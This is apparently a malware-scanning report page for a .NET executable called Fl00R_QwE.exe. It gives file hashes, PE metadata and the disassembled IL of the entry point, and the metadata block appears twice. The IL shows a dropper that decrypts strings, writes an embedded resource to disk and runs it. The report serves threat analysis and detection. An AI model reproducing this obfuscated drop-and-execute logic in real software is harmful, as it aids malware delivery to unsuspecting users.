Deep Malware Analysis of ef9e85a986b3a0f83edc9f395bdd1ccb | md5: ef9e85a986b3a0f83edc9f395bdd1ccb | .Net | PE (Portable Executable) | SOS: 0.65 | Executable | Managed .NET | PE File Layout | Win 32 Exe | x86

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Symbol Obfuscation Score High

MD5	ef9e85a986b3a0f83edc9f395bdd1ccb
Sha1	4948e3391c58f50129e9d123791c63964e467d8e
Sha256	5a8ab21cb329b8672379421dcf5bc59e6f174da6b835d5650cd0f50d7c4df534
Sha384	2ec985bfd0f5873c163351269a6eb4a10f3ca03cddcf173bcf7a52d963ec41d50aacfaa18573edbeba5638fd721dbe35
Sha512	167a490c80ed1236e37dbdd13cf124efee8cf48843557278315158bcfc4d7420fd66aea9e26fbd26e53b02530db04cfc669a893042753e365fd31e7ec7b5e31c
SSDeep	192:1BLud0YIi2Htyo+rM6G/JbB87dhXMQhBqPpH2X9upJJbnnLudg:j40FFR36G/GMQhBqRWX9CnLmg
TLSH	0C527D11DFF5840AF1BB4F7A08F263436B31FB277522A2AEA84503591F26F40CD419B4

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name	Value
Module Name	Fl00R_QwE.exe
Full Name	Fl00R_QwE.exe
EntryPoint	System.Void ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::Main()
Scope Name	Fl00R_QwE.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Fl00R_QwE
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	12
Main Method	System.Void ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::Main()
Main IL Instruction Count	95
Main IL	ldstr 882kFLSQ9xY2m44ayzCrAkIU3hx8c1I5Ys/Ei0yJSf0b0n5MlqfXNpnTeCOc87DnCb6BKsKKVxKRmSvMHMkBs6i9YUCegGHc2bg8D0hCW/Hsxw8EgRPgPECNu0ZH9gn48yGDkT5Jbi7VH9qkISX9kb4tWm39ONBVdmTe5SdzTGluq9ni/3W3SU+lp/FH3xyZ6JGRvAzWG02AotrSDeNwETuLfcBf4CsxqkIBnc0jVb6d2W7bqGQcfX5cFT1Co2XGBb6uXW+Ka625nuMwXgValC7kZWOMLoby6WEZVV9tqi67FtsfZYQT7uJJeGk/0xLx4ZB/dh57wnijat7Xlqqc/d9gm/pBYV49TFp+O5qSm1PjdWXCK5tDNvO2250IWTpFgZrVn3fGG0bL0PVVQTVgEw== call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.Void ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::uduuitshiusq(System.String) ldc.i4.1 <null> newarr System.String[] stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.4 <null> newarr System.String stloc.s V_5 ldloc.s V_5 ldc.i4.0 <null> ldstr 19HVHdZTZJ9kJ6JSJwKAKg== stelem.ref <null> ldloc.s V_5 ldc.i4.1 <null> ldstr z/sVOKpUI3ZcPYb3ZBBfAg== stelem.ref <null> ldloc.s V_5 ldc.i4.2 <null> ldstr cbjgzbrwunyjtaqj stelem.ref <null> ldloc.s V_5 ldc.i4.3 <null> ldstr NyhGxIUCf8KizLuc1nUIkg== stelem.ref <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 stloc.0 <null> ldstr qsbswfyezhhhdtrv call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() newobj System.Void System.Resources.ResourceManager::.ctor(System.String,System.Reflection.Assembly) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_00D8: ldloc.2 ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> ldstr 9TxA01gdPv10H1/ztfSatPhJmG9gXJdRP1eMX2zkm0k= call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0082: call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.String System.Environment::GetEnvironmentVariable(System.String) br.s IL_0087: ldloc.0 call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.1 <null> ldelem.ref <null> call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> ldloc.1 <null> ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.2 <null> ldelem.ref <null> callvirt System.Object System.Resources.ResourceManager::GetObject(System.String) castclass System.Byte[] call System.Byte[] ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::cishj(System.Byte[]) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.3 <null> ldelem.ref <null> call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) ldstr NyhGxIUCf8KizLuc1nUIkg== call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_00D4: ldloc.2 ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4.1 <null> blt.s IL_0060: ldloc.0 ret <null>
Info	PE Detect: PeReader OK (file layout)
Module Name	Fl00R_QwE.exe
Full Name	Fl00R_QwE.exe
EntryPoint	System.Void ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::Main()
Scope Name	Fl00R_QwE.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Fl00R_QwE
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	12
Main Method	System.Void ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::Main()
Main IL Instruction Count	95
Main IL	ldstr 882kFLSQ9xY2m44ayzCrAkIU3hx8c1I5Ys/Ei0yJSf0b0n5MlqfXNpnTeCOc87DnCb6BKsKKVxKRmSvMHMkBs6i9YUCegGHc2bg8D0hCW/Hsxw8EgRPgPECNu0ZH9gn48yGDkT5Jbi7VH9qkISX9kb4tWm39ONBVdmTe5SdzTGluq9ni/3W3SU+lp/FH3xyZ6JGRvAzWG02AotrSDeNwETuLfcBf4CsxqkIBnc0jVb6d2W7bqGQcfX5cFT1Co2XGBb6uXW+Ka625nuMwXgValC7kZWOMLoby6WEZVV9tqi67FtsfZYQT7uJJeGk/0xLx4ZB/dh57wnijat7Xlqqc/d9gm/pBYV49TFp+O5qSm1PjdWXCK5tDNvO2250IWTpFgZrVn3fGG0bL0PVVQTVgEw== call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.Void ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::uduuitshiusq(System.String) ldc.i4.1 <null> newarr System.String[] stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.4 <null> newarr System.String stloc.s V_5 ldloc.s V_5 ldc.i4.0 <null> ldstr 19HVHdZTZJ9kJ6JSJwKAKg== stelem.ref <null> ldloc.s V_5 ldc.i4.1 <null> ldstr z/sVOKpUI3ZcPYb3ZBBfAg== stelem.ref <null> ldloc.s V_5 ldc.i4.2 <null> ldstr cbjgzbrwunyjtaqj stelem.ref <null> ldloc.s V_5 ldc.i4.3 <null> ldstr NyhGxIUCf8KizLuc1nUIkg== stelem.ref <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 stloc.0 <null> ldstr qsbswfyezhhhdtrv call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() newobj System.Void System.Resources.ResourceManager::.ctor(System.String,System.Reflection.Assembly) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_00D8: ldloc.2 ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> ldstr 9TxA01gdPv10H1/ztfSatPhJmG9gXJdRP1eMX2zkm0k= call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0082: call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.String System.Environment::GetEnvironmentVariable(System.String) br.s IL_0087: ldloc.0 call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.1 <null> ldelem.ref <null> call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> ldloc.1 <null> ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.2 <null> ldelem.ref <null> callvirt System.Object System.Resources.ResourceManager::GetObject(System.String) castclass System.Byte[] call System.Byte[] ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::cishj(System.Byte[]) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.3 <null> ldelem.ref <null> call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) ldstr NyhGxIUCf8KizLuc1nUIkg== call System.String ejdeecgurvqbxgheyfxbfrwzllag.ejdeecgurvqbxgheyfxbfrwzllag::flgqjypfusuvudjytyvaujuacpkdedph(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_00D4: ldloc.2 ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4.1 <null> blt.s IL_0060: ldloc.0 ret <null>